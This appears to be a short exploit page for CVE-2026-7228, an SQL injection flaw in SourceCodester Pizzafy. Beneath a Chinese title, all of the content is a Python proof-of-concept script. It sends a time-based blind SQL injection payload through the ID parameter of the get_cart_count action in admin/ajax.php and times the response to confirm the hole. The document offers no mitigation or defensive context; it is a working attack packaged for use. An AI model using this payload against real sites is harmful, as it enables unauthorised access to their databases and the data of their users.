CVE-2026-7228 SourceCodester Pizzafy SQL注入漏洞

import requests # Target URL configuration # Replace 'TARGET_HOST' with the actual vulnerable host target_url = "http://TARGET_HOST/admin/ajax.php" # The vulnerable parameter is 'ID' within the 'get_cart_count' action # Payload for Time-Based Blind SQL Injection # Checks if the first character of the database version is '5' (sleep for 5 seconds if true) payload = { "action": "get_cart_count", "ID": "1' AND IF(SUBSTRING(VERSION(), 1, 1)='5', SLEEP(5), 0)-- -" } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time to determine if the payload executed successfully # If response time > 5 seconds, the condition was likely true (Vulnerable) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection vulnerability detected! (Response delayed)") else: print("[-] Payload executed, but no delay detected. Condition might be false or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")